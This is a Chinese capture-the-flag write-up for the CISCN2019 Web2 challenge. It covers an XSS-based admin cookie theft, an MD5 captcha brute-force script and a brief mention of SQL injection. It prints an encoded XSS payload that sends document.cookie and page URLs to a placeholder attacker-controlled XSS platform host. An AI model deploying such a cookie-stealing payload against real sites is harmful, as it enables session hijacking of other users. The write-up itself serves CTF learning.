[CISCN2019 华东北赛区]Web2

[CISCN2019 华东北赛区]Web2

  • 随便注册一个登录,发现
    image.png
  • 还有反馈页面,一看就知道大概率是xss,应该是为了得到管理员cookie
  • 扫描了一下,果然有admin.php后台登录
    image.png
  • buu可以连接访问外网了,所以内部的xss平台关闭了,使用自己搭建的莲花平台,不过需要一个服务器

自己搭建的xss平台使用

搭建

参考
https://blog.csdn.net/weixin_44652484/article/details/134169568
搭建非常简单

使用

image.png
根据其他人的题解
payload

xss='''(function(){window.location.href='http://ip/xss_platform/?location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();'''  
output = ""  
for c in xss:  
output += "&#" + str(ord(c))  
  
print("<svg><script>eval&#40&#34" + output + "&#34&#41</script>")
  • 然后提交文章,得到连接,来到反馈页面
    image.png
  • 说了要将域名改成web
    验证码
import hashlib
num=input()
for i in range(999999,10000000):
    m=hashlib.md5()
    m.update(str(i).encode())
    m=m.hexdigest()
    if m[:6]==num:
        print(i)
        break
  • 然后我得不到管理员的cookie啊,算了,反正思路是这样的,有没有大佬知道为什么的
  • 得到phpsessid之后登录,然后就是一个简单的sql注入

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-27 06:36:02       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-27 06:36:02       100 阅读
  3. 在Django里面运行非项目文件

    2024-03-27 06:36:02       82 阅读
  4. Python语言-面向对象

    2024-03-27 06:36:02       91 阅读

热门阅读

  1. 机器学习 - 神经网络中的训练模型

    2024-03-27 06:36:02       42 阅读
  2. 模拟实现字符串函数1(详细版本)

    2024-03-27 06:36:02       31 阅读
  3. VUE3——reactive对比ref

    2024-03-27 06:36:02       41 阅读
  4. 通过 Docker 实现国产数据库 OpenGauss 开发环境搭建

    2024-03-27 06:36:02       39 阅读